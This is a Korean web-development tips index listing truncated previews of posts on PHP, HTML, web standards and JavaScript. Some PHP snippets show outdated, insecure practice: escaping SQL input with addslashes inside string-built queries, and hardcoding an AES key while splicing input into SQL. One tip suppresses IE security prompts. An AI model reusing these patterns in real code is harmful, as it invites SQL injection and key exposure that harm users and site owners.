[PHP]  5번의 SQL을 얕보지 마라 OOO 첫화면의 탭 최신글에는 탭에 사용되는 5개의 게시판 이름을 얻기 위해서 5번의 SQL을 수행 하게 되어 있습니다. 이런 탭이 3개 사용되었으니, 기본으로 1페이지에 15개의 SQL이 사용된 것이죠. 이것을 3번만 하면 효과가 어느정도 일까요?   해보니까 영향이 아주 아주 많이 큽니다. ㅎㅎ 12개의 SQL은 접속량이 많은 사이트에서는 순간적인 폭탄이 될 수 있습니다. (원본) // 아래 부분 테이블명$my_table1 = 'myinfo';$my_table2 = 'btr';$my_table3 ...
[PHP]  $_SERVER 정리 서버 변수: $_SERVER 참고: 4.1.0부터 지원됨. 이전 버전은 $HTTP_SERVER_VARS을 사용함 $_SERVER는 헤더, 경로, 스크립트 위치와 같은 정보를 포함하는 배열이다. 이 배열 안의 엔트리는 웹서버에 의해 생성된다. 모든 웹서버가 이런 것들을 제공한다는 보장은 없다. 서버는 어떤것은 빠뜨리거나 여기에서 목록화된 것 외의 것을 제공할수 도 있다. 이런 많은 수의 변수들은 CGI 1.1 specification에 기반하므로, 그런 변수들은 기대할수 있을것이다. 이 변수는 '슈퍼전역', 또는 자동 전역,...
[PHP]  이전페이지 url 알아내기 1. HTTP_REFERER 이전 경로의 값을 가지는 변수입니다. $_SERVER['HTTP_REFERER'] $HTTP_SERVER_VARS['HTTP_REFERER'] $HTTP_REFERER 처럼 사용하시면 됩니다.   2. parse_url() 함수 해당 URL 을 스키마,호스트,패스,쿼리 등의 연관배열 형태로 반환합니다.   3. gethostbyname() 함수 해당 호스트의 IP를 가져옵니다.     예) <? $referer = parse_url($_SERVER['HTTP...
[PHP]  form 으로 배열값 넘기기 - serialize(), unserialize() 함수명: serialize(), unserialize()   설명: php.net의 API를 보면 변수값을 serialize 할 경우 그 값을 byte-stream의 스트링 형태로 변환시켜준다고 한다. 주로 페이지 사이에 데이타를 손상 없이 주고 받아야 할 때 그 값을 serialize 해서 사용한다.   사용법: serialize( [시리얼라이즈 하고 싶은 오브젝트/변수] ): -string 값을 리턴한다. unserialize( [시리얼라이즈 된 스트링] ): -원래의&nbs...
[PHP]  따옴표 처리해서 DB저장 및 없애고 출력 - db입력시 $text = $_REQUEST['text']; $text = addslashes($text); insert into.......... values('$text');   - 페이지 출력시 echo(stripslashes($row[text]));       * addslashes(문자열) - 입력시 사용 * stripslashes(문자열) - 출력시 사용
[PHP]  도메인앞에 www 자동으로 붙이기. 도메인앞에 www 를 페이지 로드시 자동으로 붙여주는 방식입니다.www를 붙였을때와 그렇지 않을때, 쿠키가 제대로 작동하지 않는 경우가 생깁니다.웹브라우져가 업데이트되면서 쿠키의 저장과 호출에 따른 차이가 발생한다고 합니다.홈페이지 header 에 해당되는 페이지 상단에 코드를 넣어줍니다.<?if(!stristr($_SERVER[HTTP_HOST],"www.")) header("location:http://www.".$_SERVER[HTTP_HOST].$REQUEST_URI); exit;?>서버에서 버추얼호스트로 지...
[PHP]  PHP 암호화 함수정리 암호화암호화(Cryptography)는 일종의 예술이다. 암호문은 몇 개의 단어를 바꾼 로마의 궤변에서부터 요즘에 사용하는 공개 키와 개인 키(public and private key) 메커리즘에 이르기까지 여러 세기에 걸쳐 사용되었다. 암호화의 목적은 지정된 사람 이외에는 누구도 볼 수 없는 암호문을 만드는 것이다.이제 몇 페이지에 요즈음 인터넷에서 사용되는 몇 가지 암호화 방식과 동작 원리, 사용대상 등에 대해 살펴보도록 하자.단방향 암호화이 방식은 원문을 해독할 수 없도록 암호화하는 과정이다. 언뜻 들으면 사용할 수 없는...
[PHP]  md5(), crypt(), password() 등의 문제점 및 로그.. 로그인에 관련된 보안얘기를 하려고 합니다.password(); // mysql.md5(); // php.crypt(); // php.뭐, 암호화에 관련된 함수들이 여러 가지 있겠지만 위 3가지 함수는 범용적으로 많이들 쓰고 있고안정성이 검증된 함수들이죠.. 그리고 모두 복호화가 안되거나, 어려운 해쉬함수들입니다.흔히 password() 로 암호화시킨 비밀번호... 원래의 값을 절대 알 수 없다고들 표현합니다......절대 알 수 없다 ?절대 알 수 없다 ?절대 알 수 없다 ?id = 'abcd'pw = '4ed0bdda4ee8...
[PHP]  PHP에서 성능 개선을 위한 유용한 팁 웹사이트 성능에 큰 영향을 주는 부분은 대개 부적절한 혹은 최적화되지 않은 데이터베이스 쿼리문에 있습니다. 하지만 데이터베이스 쿼리문이 최적화되었더라도 PHP 프로그램내에서의 간단한 몇가지 수정으로도 좀더 성능 개선을 할 수 있습니다. 해외 PHP관련 컨퍼런스등에서 여러번 제시된적 있는 몇가지 성능 튜닝을 위한 유용한 팁을 올립니다.  1. 최대한 쌍따옴표 대신에 일반따옴표를 쓴다. 쌍따옴표로 감산 문자열의 경우 PHP는 문자열 전체를 처리하게 됩니다. 따라서 처리되지 않고 그대로 유지될 혹은 나중에 처리되어야할 문자...
[PHP]  PHP 카운터 만들기-[1] 문법적인 내용들은 어느정도 익힌것 같고, 지금부터는 간단한 프로그래밍으로 넘어가도록 하겠습니다. * 카운터 만들기 - 카운터 과정방문자가 웹 페이지에 접속을 했을 때 방문한 사람을 카운터 하고 그 값이 저장될 파일이 있어야 한다.파일이 있다면 파일 내의 데이터를 읽어 와야 한다.만약 없다면 파일을 새로 만들어야 한다.데이터 + 1을 한 다음 다시 그 값을 파일에 저장해야 한다.데이터 파일을 닫고, 출력을 해야 한다.- 사용되는 함수file_exists() : 파일이 존재하는지를 확인하는 함수.fopen() : 파일이나 URL을...
[PHP]  전체 게시판의 최근글,최근덧글,최고추천글,게시자 순... 추출 함수 (DB필요없음) 제로보드의 전체게시판(정확히 말하자면 지정한 게시판)의 최신글, 최신덧글,최고 추천글 등을 리스트화 해주는 함수(?)입니다. 사용된 예는 제 홈페이지( http://lpbox.co.kr )의 오른쪽 카테고리로 들 수가 있겠습니다. 스킨은 제로보드의 최근글의 스킨을 사용하시면 됩니다. 저만을 위한 함수였기에 부족한점이 많습니다. 보완점을 알려주시면 수정에 수정을 더하겠습니다. 설치방법 - LP_Frame을 사용자 w_head.html에 include $_zb_path."outlogin.php"; require ("../gl...
[PHP]  PHP 프로그램 속도 올리는 20가지 ★ 무조건 알아야 할 PHP 속도 테스트 20 가지 ◆◇◆◇◆◇ 이 속도 테스트 보다 더 중요한 것이 PHP보안 입니다. 보안이 가장 중요함당 !!!PHP로 코딩 함에 있어서 알아야 할 속도 테스트 입니다.조금더 빠른 PHP 속도를 유지 하기 위한 것이죠 ^^작은 것이 모여서, 대따 오랜 시간이 걸릴 수 가 있는 것 입니다. !!되도록이면 속도가 빠른 것을 사용하시는 것이 좋습니다.물론 함수 마다 기능 마다 장단이 있지만요....^^다른 비교가 있으면 알려주셍 ^^ 답변 달아 주세용 ^^계속 적으로 업글 됩니다. ★ mysql...
[MYSQL]  Mysql AES_ENCRYPT, AES_DECRYPT 함수를 이용한 사용자 함수 $encryptKey = "TEST_A2B2E3"; ## ASE ENCODE INSERT STRINGfunction ASE_ENCODE_IN($ENC_VALUE){  global $encryptKey;  return !empty($ENC_VALUE) ? " (HEX(AES_ENCRYPT(CAST('".addslashes($ENC_VALUE)."' AS CHAR), '".$encryptKey."'))) ":" '' "; }## ASE DECODE SELECT STRINGfunction...
[HTML]  카카오맵 API키 없이 드래그되는 지도 연계방법 카카오 지도에서 오른쪽 상단 "내보내기" 메뉴를 선택하면 스크롤이 되지 않는 인쇄하기, 이미지 저장하기, URL 복사, HTML 태그 복사, 메일로 공유만 가능하다.때문에 왼쪽 검색란에 건물 혹은 주소를 검색된 목록을 선택한 후 >> 지도상 마커를 클릭하면 정보보기 창이 표기되는 상태에서 공유하기 > HTML 태그 복사 클릭 후 너비/높이 지정하여 >>소스 생성하기하여 소스 코드를 페이지에 붙여넣는다.또한 너비를 가변으로 할 경우 DIV를 100%로 잡고 스크립트 너비 코드에는 공백처리 ...
[HTML]  ASP XML작성시 한글깨질 경우 페이지의 언어셋이 UTF-8이라고 가정할경우 최상단에 선언<% @LANGUAGE='VBSCRIPT' CODEPAGE='65001' %> <%Session.CodePage = 65001Response.CharSet = "UTF-8"Response.AddHeader "Pragma", "no-cache"Response.AddHeader "cache-control", "no-staff"Response.Expires = -1Response.ContentType="text/xml"%> XML 선언시...
[HTML]  웹조각 만드는 방법 웹 조각이란? 웹 조각은 사용자가 구독할 수 있는 웹 페이지의 특정 부분으로 즐겨 찾는 웹 사이트에서 업데이트된 콘텐츠—현재 온도 또는 경매 가격 변경과 같은 콘텐츠—를 사용할 수 있을 경우 사용자가 이를 볼 수 있도록 합니다. 웹 조각에 가입하면 즐겨찾기 모음에 링크로 표시됩니다. 웹 조각이 업데이트되면 즐겨찾기 모음에 있는 링크가 굵은 글꼴 형식으로 표시됩니다. 그런 다음 링크를 클릭하여 업데이트된 콘텐츠를 볼 수 있습니다.   사용예 <div class="entry-title">...
[HTML]  ActiveX를 이용한 웹인쇄 머리글/꼬리글/여백/용지 제어 <style type="text/css">@media print{  .PntCls, .PrintWCheck{display:none;}}</style><script type="text/javascript" for="IEPageSetupX" event="OnError(ErrCode, ErrMsg)">alert('에러 코드: ' + ErrCode + "n에러 메시지: " + ErrMsg);</script><script type="text/javascript">funct...
[HTML]  SSL 적용 후 보안경고 메세지 원인과 해결방법 SSL이란 서버와 클라이언트의 통신간 송수신되는 데이터를 128bit로 암호화하여 전송하는 것을 말하며 그 효과로는 스니핑방지, 피싱방지, 데이터 변조방지, 기업 신뢰도 향상이 있습니다.최근 개인정보보호 문제가 많이 대두되고 있으며, 많이 적용하는 추세입니다.요점으로 들어가 SSL정상 설치가 되었으며 https:// 로 접속이 되지만 경고메세지가 뜨는 경우가 있습니다.이 경우는 해당 페이지에서 http://도메인/이미지명 등이 포함되 발생되는 문제입니다.이를 해결하기 위해서는 해당 페이지가 절대경로가 아닌 상대경로(./imag...
[HTML]  웹디자이너의 분류와 역할 10년정도이 역사를 가진 웹디자인은 초기 그래픽 디자인 위주의 작업에서, 급격한 기술 변화만큼이나 다양한 분야로 세분화 되었다. 이러한 세분화는 앞으로도 계속될것으로 보인다.그럼 현재까지 웹디자이너는 어떻게 세분화 되었으며, 역할별로 어떠한 일을 담당하는지 알아보자.    크리에이티브 아트디렉터(creative Art Director) 크리에이디브 아트디렉터는 디자인 크리에이티브를 총괄하는 책임자로서 웹디자이너, 카피라이터(Copywriter), 일러스트레이터(illustrator), 포토그래퍼(Photogr...
[HTML]  페이지 넘기기 부드럽게 <META HTTP-EQUIV="Page-Enter" CONTENT="BlendTrans(Duration=0.7)"><META HTTP-EQUIV="Page-exit" CONTENT="BlendTrans(Duration=0.7)"> 헤더에다가 추가
[HTML]  frame, iframe 태그(html) 프레임을 나눈 페이지를 만들 때 가장 중요한 것은 전체 문서수 = 프레임태그 수 + 1 (프레임셋 구조를 가진 페이지) 입니다.<frame src~ 이렇게 시작하는 태그 수 + <frameset ~~ 가 적힌 페이지 .. 입니다.물론 조금 할 줄 안다 싶으면 위의 공식이 틀리지만 -_-;어쨋든 위에처럼 정석으로 배우는 것이 좋습니다.우선 frame 태그 속에 들어갈 수 있는 '속성'들을 정리 해 드리겠습니다.속성이라 함은 예를 들어 <table border="1"> 이라는 태그속에서 파란색이 속성입니다.속...
[HTML]  meta태그 메타 태그란 <meta content="text/html; charset=euc-kr" http-equiv="Content-Type"/> 자신의 홈페이지에 관한 정보를 담아놓는 장치 여러가지 종류와 의미를 가짐 <head> 와 </head> 사이 위치 종류 <meta http-equiv="content-type" content="text/html:charset=euc-kr"> 이 메타태그는 현재의 문서가 한글로 작성되었음 이 메타태그를 쓰지 않는다면 브라우저 기본 글꼴만 볼 수 있음&...
[HTML]  최근 게시물보기 속도 빠르게 만들기 최근 게시판 속도 빠르게 하는 방법입니다. 홈페이지에 제로보드 게시판을 이용하여 php 프로그램을 많이 하십니다. 특히 게시물이 많아질 수록 최근 게시물을 로드하는데 시간이 오래 걸림을 많이 느끼시게 될 것입니다. 그 문제를 해결하기 위해 여러가지로 알아 보았더니 원인은 바로 select 문에서 사용하는 order by 에 있었습니다. 예) select * from zetyx_board_free where is_secret=0 and father=0 order by no desc limit 10 order by 에 의해...
[HTML]  홈페이지를 만들기 위한 조건 페이지란 인터넷으로 연결된 통신망으로 컴퓨터화면상에 나타나는 일종의 페이지들입니다. 이러한 공간을 통해서 우리는 무엇을 할 수 있고 얼마만큼의 편리함을 누릴 수 있을까요~!? 해답은 여러분들이 모두 아실거라 생각합니다. 정보의 접근이 쉽고 많은 사람들에게 빠른시간안에 알릴 수 있다는 점입니다. 더욱이 이러한 공간을 통해서 홍보를 넘어 상품판매와 다양한 예약서비스및 전자상거래가 이루어 지고 있습니다. 하지만 편리함 뒤에는 많은 문제점도 있습니다. 보안이 철저하지 못한 경우가 비일비재하여 생기는 개인신상정보의 유출과 그...
[HTML]  스크롤바를 왼쪽으로 옮기기 독특한 디자인을 할때 사용하시면 좋을듯합니다. 오른쪽에 스크롤바가 있는 고정관념을 깨는... 하지만 오른쪽에 스크롤바가 익숙해져 있는데 갑자기 왼쪽으로 옮겨 있는 웹페이지를 보면....
[HTML]  트랜지션 윈도우 페이지가 나타나는 방법은 랜덤입니다. 아래의 소스만 삽입하면 됩니다. transition : 트랜지션 번호(x, 0~23까지 중 선택)
[HTML]  음악태그의 종류 [사운드 태그의 종류] 주로 홈페이지의 배경음악을 넣는데 사용합니다. mid파일을 주로 사용하고요... mp3파일이나 wav 파일, asf 파일도 되기는 되는데... bgsound태그는 일단 음악파일을 모두 다운을 받은 다음에 재생 을 시키기 때문에 mid 파일보다는 시간이 오래 걸린답니다... 이 embed 태그는 배경음악 넣을때 사용하기도 하지만 그 것 보다는직접 음악을 재생시키는데 더 많이 사용됩니다. embed의 특징은 bgsound 태그와는 달리 다운로드와 동시에 실시간으로 음악을...
[HTML]  음악태그 기본형식 [ 사운드 태그의 기본] 사운드(sound)태그란 말 그대로 음악이나 소리가 나오게하는 태그를 말합니다. 아무소리도 나지 않는 맹맹한 웹페이지 보다는 듣기좋은 음악이 들어간 웹페이지가 더욱 방문하시는 분들의 기억 속에 남을 겁니다... 사운드태그는 재생시킬 사운드가 무엇인지..브라우저를 어떤걸 사용하는지에 따라 뉘어 집니다... 그럼 사운드파일의 종류에 대해서 먼저 설명드릴께요... 최소한 내 자신이 듣고 있는 음악이 어떤 종류의 파일인지를 알아야 나중에 사운드태그를 사용하실 때 실수 안하시고 편하게 사용하실 수...
[웹표준]  웹접근성은 왜 필요한가? 노인이나 장애인들이 접근할 수 없거나 그 콘텐츠를 사용할 수 없는 웹 사이트가 있다면 W3C에서는 이 웹 사이트가 웹 접근성이 없다고 분류합니다. 반대로 적절한 보장기구를 사용한다면 - 비록 숙달되지 않아 시간이 많이 지체된다고 하더라도 - 장애인들이 접근해서 콘텐츠를 사용할 수 있다면 이 웹 사이트는 ‘웹 접근성이 있다’고 합니다."웹 접근성을 준수하는 것은 공공기관이나 기업체가 단순히 소외계층을 위한 복지차원의 일을 넘어 중요한 영업 활동의 하나입니다."웹 접근성은 홈페이지 운영자나 웹 개발자 모두에게 점차 중요한 개념으로...
[웹표준]  웹표준 적용시 단점은? 웹표준은 주요 웹브라우저인 익스플로어 전용이 아닙니다. 국내 시장에서는 점유율이 높지않은 파이어폭스등의웹브라우저가 웹표준에 잘 따릅니다. 웹표준을 준수한 홈페이지는 익스플로어(특히 6.0 이하)는 제대로 구현되지 않을 수 있습니다. 플러쉬나 오브젝트 파일등 적용에 제한이 있습니다 플러쉬나 오브젝트 파일등 익스플로어 전용 기술 구현에 제약이 있어 역동적인 제작에 한계가 있습니다. 크로스브라우징, 웹접근성, 핵과필터등 여러 변수를 고려해야합니다.
[웹표준]  웹표준을 따르면 무엇이 좋은가요? 어느 웹브라우저에서도 볼 수 있습니다. 웹브라우저는 익스플로어,파이어폭스,오페라,사파리,구글,크롬등 다양하게 있습니다. 웹표준에 준거하면 다양한 브라우저에서도 똑같은 형태로 볼 수 있습니다. 사이트업데이트 작업이 용이하다. 웹표준에 다르면 홈페이지는 문서구조와 스타일시트를 따로 분리해서 만듭니다. 스타일을 변경하고 싶다면, 해당 스타일 시트만 열어서 변경하면 모든 웹페이지 디자인에 똑같이 적용할 수 있습니다. 페이지랜더링속도가 빨라진다. 디자인부분은 모두 CS파일로 정리한다. 이르 통해 인터넷익스플로어등의 웹브라우저에서 다시 ...
[웹표준]  최근목록 출력시 more(전체보기) 링크시 유의점 설명게시판의 최근 목록 몇 개만을 뽑아 첫 페이지에 보여주는 형태로 웹사이트에서 자주 쓰입니다.주의점보통 [more]를 이미지 혹은 링크로 할경우 alt="more" 이외에 별도의 링크 title 표기가 있어야 한다.사용예<a href="/view/notice.php" title="공지사항 목록"> <img src="images/NotcieMoreBtn.gif" alt="more" /></a>
[웹표준]  IE 7 표준 모드로 렌더링할 수 있는 메타태그 DTD가 없는 페이지는 여전히 Quirks Mode로, DTD가 있는 페이지는 IE 7 표준 모드로 렌더링할 수 있는 메타태그입니다.<META http-equiv="X-UA-Compatible" content="IE=7" /><META http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
[웹표준]  웹표준화 진행 시 접근성 향상 Tip 표준화 (x)html/css/script 분리 구조화 (x)html 일반문법준수 접근성 웹문서에는 독립적인 제목을 붙인다. 문서의 언어변경 내용확인 대체수단제공 키보드로만 서비스 이용가능 독립적인 링크텍스트 새 브라우저 창 열기 페이지 자동 새로고침 지양 온라인양식(form) 메뉴 건너뛰기 제공 국산 스크린 리더에 실제로 대응하는 코드 사용 국산 스크린 리더를 위한 숨은 텍스트 키보드 단축키 사용성 반복 네비게이션 링크 양식컨트롤 인접한 링크는 공백으로 분리 새 브라우저창 열기
[웹표준]  a 태그의 사용성과 접근성. a 태그의 개요 a 태그의 어원에 해당하는 말은 anchor 입니다. 즉, 우리말로 직역하면 ‘닻’ 이라는 뜻이고 의역하면 ‘연결’ 이라는 의미가 됩니다. 그리고 a 태그는 href 라는 필수 속성을 갖는데 이것의 어원은 Hyper text REFerence 입니다. 즉, 무언가를 참조하라는 뜻이고 a 태그는 결국 다른 어떤 자원을 ‘참조’ 하라는 연결의 의미를 갖습니다. Web 이라는 거미줄을 짓는데 있어서 가장 중요한 태그입니다. 우연의 일치인지는 모르겠지만 어쨌든 W3C의 HTML 요소 색인 페이지를 보아도 a 태그는 H...
[웹표준]  웹표준 준수사항 22가지 1) 자바스크립트 지시자나 스타일시트 지시자에 타입정보가 꼭 필요하다.<script></script><style></style><script type="text/javascript"></script><style type="text/css"></style>2) img,  map 태그등에 모두 alt 속성이 필요하다.3) td는 background 속성을 지원하지 않으므로 스타일 시트형태로 표현한다.<td style="backgro...
[웹표준]  HTML 코더, UI 개발자, 웹 퍼블리셔, 웹 개발자 웹 표준이 대두되면서 (X)HTML, CSS, Javascript-x 등을 담당하는 사람들의 중요도가 상승되고 이들을 업무를 정확하게 지칭하는 용어가 필요하게 되었다. 현재 이러한 롤을 맡은 사람들을 지칭하는 용어는 몇가지가 있었다. HTML 코더 이 말은 아마도 웹 에이전시에서 처음 나온 용어라고 생각된다. 웹 에이전시 초기에는 웹 사이트를 만드는 직군이 웹 개발자와 웹 디자이너로 양분되어 있었다. 웹 디자이너가 웹 사이트를 디자인하고 HTML 코드로 구현을 하면 HTML 코드에 웹 개발자가 프로그램 로직을 추가하여 하나의 ...
[웹표준]  <b> 와 <strong> 의 차이점 <b> 태그를 사용시 페이지에 굵은 글씨로 강조하여 보여지는 시각효과만 있지만<strong> 태그는 음성합성기(스크린리더) 등에서 강조하여 발음하는 효과까지 포함 합니다.웹접근성이 필요하다면 이점을 고려해야합니다.
[웹표준]  이미지 맵 기법 사용 제한 이미지 맵 기법이 필요할 경우에는 클라이언트측 이미지 맵을 사용하며 서버측 이미지 맵을 사용할 경우에는 동일한 기능을 하는 텍스트로 구성된 대체 콘텐츠를 제공해야 한다.이미지 맵(image map)이란 이미지의 일부 영역에 링크를 두어 사용자에게 해당 정보를 제공할 수 있는 페이지로 이동하도록 만드는 프로그램 기법이다.서버측 이미지 맵(server-side image map)이란 이미지 맵을 구현하는 프로그램이 서버측에 존재하여 사용자의 웹 브라우저가 이미지 맵 상의 어떤 그림 위에 마우스를 위치시키고 클릭하면 클라이언트가 마...
[웹표준]  DTD가 혼재되어 있는 웹 사이트 대응법 DTD가 혼재 되어 있는 웹 사이트는 DTD가 없는 페이지와 DTD가 있는 페이지를 구분하여 각각 다른 방법으로 대응해야 합니다. DTD가 없는 페이지는 아무런 대응을 하지 않습니다. IE8은 DTD가 없는 페이지를 Quirks Mode로 렌더링 하기 때문에 페이지는 깨지지 않습니다. DTD가 있는 페이지는 IE7에 최적화 시킨 후 다음 코드를 적용 합니다. < meta http-equiv="X-UA-Compatible" content="IE=7" /> 만약, X-UA-Compatable 호환 코드를 DTD가 있는...
[웹표준]  DTD가 있고 IE7에 최적화 된 페이지 대응법 < meta http-equiv="X-UA-Compatible" content="IE=7" />
[웹표준]  DTD가 있고 IE6에 최적화 된 페이지 대응법 IE6에 최적화 된 페이지는 개편해야 합니다. 적어도 IE7에 최적화 시켜야 하는데 그렇지 않으면 구제할 방법이 없습니다. IE8 브라우저에 IE6 렌더링 엔진이 없기 때문입니다. IE6에 최적화된 페이지를 IE7에 최적화 하는 것은 그다지 어렵지 않습니다. IE6에 최적화 된 페이지는 IE7에 최적화 작업 후 다음 코드로 대응합니다. < meta http-equiv="X-UA-Compatible" content="IE=7" />
[웹표준]  DTD가 있고 IE5에 최적화 된 페이지 대응법 < meta http-equiv="X-UA-Compatible" content="IE=5" />
[웹표준]  마크업, 모든 페이지의 기본 HTML 그리고 XHTML은 속성들(Attributes)로 이루어진 마크업 언어이다. 이 요소들은 문서에서 여러가지 다른 형태들을 구분하기 위해 사용되고, 각각의 내용의 히트가 웹 브라우저에 나타날 수 있도록 한다. 당신이 기대한대로, 요소들은 실질적인 컨텐트 타입을 정의하는 반면에 속성들은 각 요소들을 알아내는 ID 혹은 링크를 위한 위치 와 같은 그 요소들의 여분의 정보를 정의한다. 당신은 마크업이 가능한 의미적이야 한다는걸 명심해야 하는데, 그것은 가능한 정확한 컨텐트의 기능들을 설명해야 한다. 그림1은 전형적인 HTM...
[웹표준]  Cross Browser html 에디터 만들때 주의할 점과 예시 1 1. IE 나 FF 모두 가능한 designMode on 설정 방법은 다음과 같다.  var cw = document.getElementById("에디터iframe 아이디").contentWindow;  cw.document.designMode = "on";   여러방법이 있지만 위 방법이 IE 나 FF 의 cross browsing 은 잘된다.     2. 파이어폭스에서도 designMode에 대해 지원한다. 그런데 FF 에서 이것은 ...
[웹표준]  웹표준의 개요 및 xhtml 웹표준의 필요성에 대해 이야기 하기 전에 한가지 짚고 넘어가야 할 것이 있습니다.지금 웹개발자들이 알고 있는 지식은 표준이 아니란 말인가?그렇다면 왜 표준이 흐트러 졌는가?이제 웹의 역사는 10년정도 밖에 안되었습니다. 이 짧은 기간에 엄청난 발전이 있었습니다.우리나라의 경제도 한때 급성장을 했었지만 그로 인해 많은 문제가 발생했고 IMF를 겪었습니다.웹도 마찬가지 입니다. 짧은 기간동안 급성장으로 인해 문제를 안게 되었습니다.이 문제의 원인중 하나가 과거 웹브라우저의 양대산맥 IE와 NS의 점유율 전쟁 때문입니다.점유율을 높...
[웹표준]  IE8을 IE7으로 강제 호환모드 적용. 아무래도 IE8 에서 더 높은 수준의 CSS 를 지원하다 보니 IE7 의 기준으로 되어 있는 사이트들을 한번에 바꾸기도 어렵고 여러가지 문제가 발생한다. 새로운 브라우져를 발표하는 Microsoft 도 그런 입장으로 고려하여 호환성 모드를 제공하는데 문제는 아래 그림에 보이는 부분을 클릭하기 전까지는 동작하지 않는다는 점이다. 클릭한번 더 하는게 얼마나 불편한지를 따지자는 건 아니지만, 클릭 수를 줄인 것을 최대 장점으로 삼고 있는 IE8 에는 치명적인 약점일 수 있단 생각이 들었다. 그런데 왠걸 그런 사항까지 고려해 두고 ...
[웹표준]  DIV 태그안의 스크롤 style< #scroll__{ width:300px; height:200px; border:2px solid #999999; overflow:auto; } function getPosition(){ //스크롤 총 높이 var t=$('scroll__').scrollHeight; //현재 스크롤 위치 t=t+','+$('scroll__').scrollTop; //위치를 뿌려준다 $('po').innerHTML=t; } 테스트 테스트 테...
[웹표준]  올바른 DOCTYPE 사용 대부분의 웹페이지 들이 로 시작하여 와 태그를 사용하여 웹페이 지를 표현한다. 그러나 웹페이지를 표현 하는 방식을 제대로 표현 하기 위해 웹 브라우저 가 적절한 문서 형태를 표기하도록 할 필요가 있다. 즉 문서의 루트 요소 앞에는 공백 없 이 DOCTYPE 선언이 있어야 하며, 이 선언은 XHTML에 대한 세 DTD(Document Type Definition) 파일(strict, transitional, frameset) 중 하나를 참조해야 한다. 올바른 문서 형식 선언을 해 주는 것은 다양한 브라우저에 따른 렌더링 차이를...
[웹표준]  지켜야할 웹표준 ○ 장애인, 노인 등을 위한 웹 접근성 준수 텍스트 버전을 별도로 제공하여 접근성을 높이 기 위한 지침으로서, 표준 기반으로 구조와 표 현을 분리한 후 스타일 변경 만으로도 텍스트 페이지를 구성할 수 있다. 9. 저작권, 개인 정보 보호 등을 위한 고려 ○ 장애인, 노인 등 다양한 이용자의 용이한 접근을 확보하기 위해 한국형 웹 콘텐츠 접근성 지침 중 다음 사항을 고려하여 제작 - 그림에 대한 대체 텍스트 제공(지침1), 탭 및 화살표 등 최소 키보드로 접근 가능성 확보(지침5), 각 프레임별 별도 제 목 부여(지침7), 스타...
[JAVASCRIPT]  페이지 전체의 링크를 스크립트로 제어 새 창 띄우기 for(i=0;i<document.links.length;i++){document.links[i].target='_blank';}
[JAVASCRIPT]  아이프레임 로드될때 리사이즈 # 아이프레임 로드될때 리사이즈# 물론 포함된 페이지에서 필드 추가가 발생되면 스크립트를 다시호출해서 리사이즈 해야함<iframe src="./test.html" onload="this.height=this.contentWindow.document.body.scrollHeight;" width="730" height="500" scrolling="no" framespacing="0" frameborder="0" title="타이틀"></iframe>
[JAVASCRIPT]  휴대폰 / 컴퓨터 접속을 체크하여 출력 javascirpt버전 스마트폰인지 체크하여 컴퓨터와 휴대폰을 구분 지어 출력합니다.요즘 스마트폰 사용이 급중하면서 웹페이지도 모바일버전 보급과 사용이 활발해 졌습니다.이에따라 개발자들이 조금더 구현 및 구분을 쉽게하기 위해 사용자함수 입니다.PHP 버전은 PHP 게시판에 있어요.var MobileCheck = function(){ var MobileVersi = navigator.userAgent.toLowerCase(); var MobileArray = new Array("iphone","lgtelecom","skt","mobi...
[JAVASCRIPT]  JavaScript 포함된 파일을 로컬에서 미리 볼 때 ActiveX 보안 메시지 안보이게 하기 Javascript 소스를 작성하고 실행할때, Explorer 창 상단의 ActiveX 보안 정보 표시줄 생기게 됩니다.   Javascript 포함된 HTML 페이지에 소스 한줄을 추가 해주면 됩니다.   <!-- saved from url=(0013)about:internet -->   JavaScript 뿐만아니라 FLASH 파일에도 적용됩니다.해당 코드를 삽입하는 경우 파일이 로컬 컴퓨터 영역대신 인터넷 영역으로 설정되어,로컬 컴퓨터 차단이 해제됩니다. Microsoft에서 Mark...
[JAVASCRIPT]  웹 접근성을 생각하는 자바스크립트 요즘의 웹 사이트들은 점점 Ajax 의 사용추세가 늘어나고 있습니다.하지만 사실 Ajax 에는 치명적인 단점이 있습니다.바로 웹 접근성이죠.Ajax 가 처음 등장했을 때 문제로 제기된 큰 문제가 몇가지가 있었는데..그 중 하나는 뒤로 가기 버튼이었고, 다른 하나가 이 접근성에 해당하는 문제였습니다.물론 모든 Ajax가 웹 접근성을 해치는 것은 아닙니다.Ajax 를 사용하더라도 접근성을 해치지 않는 방법들이 여럿 고안되었으니까요.하지만 국내에서 사용되고 있는 Ajax 의 대부분은 Javascript(또는 기타 클라이언트 스크립트...
[JAVASCRIPT]  자바스크립트 이벤트 핸들러 (Event Handler) 자바스크립트 이벤트 핸들러 (Event Handler)onabort 이미지의 다운로드를 중지할 때 (브라우저의 중지버튼) onactivate 개체가 활성화될 때 발생 (태그의 기능이 작용할 때 발생하는 이벤트로 예를 들어 링크를 누를 경우 링크가 옮겨질때 발생하는 것을 감지하는 이벤트 핸들러) onafterprint 문서가 출력되거나 혹은 출력하기 위해 출력미리보기를 한 후에 발생 onafterupdate 데이터영역 개체에서 발생하는 이벤트로 데이터 소스 오브젝트내의 데이터가  업데이트 되었을 때 발생(데이터...
[JAVASCRIPT]  <a href="#" 에 대한 깔끔한 대처방법 아래 링크는 링크시 페이지 상단으로 올라가버리는 문제점<a href="#" onclick="window.open('http://www.virhac.com/', 'virhac', '...');">아래 링크는 링크시 해결은 된다. 하지만 확실한 대처법은 아니다.void(0); 에 0 를 안붙이면 FF(파이어폭스)에서 에러가 발생된다.참고로 void 는 줄것도 없으며 받을것도 없는 의미!!<a href="javascript:void(0);" onclick="...">아래 방법도 괜찮은 방법이긴 하지만 oncli...
[JAVASCRIPT]  이벤트 핸들러 (Event Handler) 모음 onabort이미지의 다운로드를 중지할 때 (브라우저의 중지버튼)onactivate개체가 활성활 될 때 발생(태그의 기능이 작용할 때 발생하는 이벤트로 예를 들어 링크를 누를 경우 링크가 옮겨질때 발생하는 것을 감지하는 이벤트 핸들러)onafterprint문서가 출력되거나 혹은 출력하기 위해 출력미리보기를 한후에 발생onafterupdate데이터영역 개체에서 발생하는 이벤트로 데이터 소스 오브젝트내의 데이터가  업데이트 되었을 때 발생(데이터 개체부분 참조)onbeforeactivate개체가 활성화 상태로 되...
